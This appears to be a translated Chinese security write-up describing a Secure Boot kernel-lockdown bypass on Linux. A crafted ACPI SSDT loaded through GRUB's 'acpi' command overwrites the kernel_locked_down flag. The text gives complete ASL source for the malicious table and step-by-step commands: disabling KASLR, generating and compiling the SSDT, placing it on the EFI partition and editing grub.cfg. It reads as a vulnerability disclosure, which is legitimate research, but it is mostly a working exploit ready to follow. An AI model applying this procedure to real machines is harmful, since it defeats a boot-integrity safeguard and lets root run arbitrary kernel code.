有一天我在GRUB2的控制台输入"help",看到了一些非常“有趣”的命令:
read_byte ADDR: 从ADDR读取8位值write_byte ADDR VAL: 将8位值VAL写入ADDR我立刻以为我找到了最有趣的安全启动绕过方法,但在安全启动下这些命令会输出如下内容:
error: Secure Boot forbids loading module .../memrw.mod.
出于好奇,以这种方式启动后,我输入了"acpi"命令,它打印了一条用法消息,告诉我需要指向一个AML文件。众所周知,ACPI的另一个名称是“在您的内核上下文中运行任意供应商提供代码的机制”,因为我们可以加载带有安全启动的ACPI表,我们就是能够提供该代码的“供应商”。
但由于启动内核的数据段中有一个一字节的标志(kernel_locked_down),它告诉内核是否处于“锁定”状态,我们可以通过SSDT覆盖该标志,让内核加载任意模块。
以下SSDT通过创建一个名为HACK的“电池”对象,并在该对象的_INI方法中执行写入操作来实现这一点(内核始终会执行该方法):
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
{
LKDN, 32
}
Device (\_SB_.HACK)
{
Name(_HID, EisaId ("PNP0C0A"))
Name(_UID, 0x02)
Method(_INI)
{
If (LKDN)
{
LKDN = Zero
}
}
}
}
我写了一个Python概念验证利用来帮助生成这个SSDT,但手工利用也并非难事。大致步骤如下:
nokaslr禁用KASLRkernel_locked_down符号的物理地址iasl编译该SSDT假设条件:
root访问权限当上述条件满足时,编辑/etc/default/grub,在GRUB_CMDLINE_LINUX_DEFAULT中添加nokaslr,运行update-grub,然后重启。
在内核在没有地址空间布局随机化的情况下启动后,可以使用genssdt.py脚本生成一个“恶意”SSDT,它将在运行时修补内核内存以禁用锁定:
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml
现在SSDT已创建完毕,必须编辑GRUB配置文件(通常位于/boot/grub/grub.cfg)以使GRUB加载此SSDT(将该行添加到文件顶部):
acpi (hd0,gpt1)/evil_ssdt.aml
根据EFI系统分区(我们放置SSDT的位置)在磁盘上的位置,可能需要将(hd0,gpt1)替换为其他内容。
最后,重启后内核锁定应该被禁用,从而使root能够在内核中执行任意代码。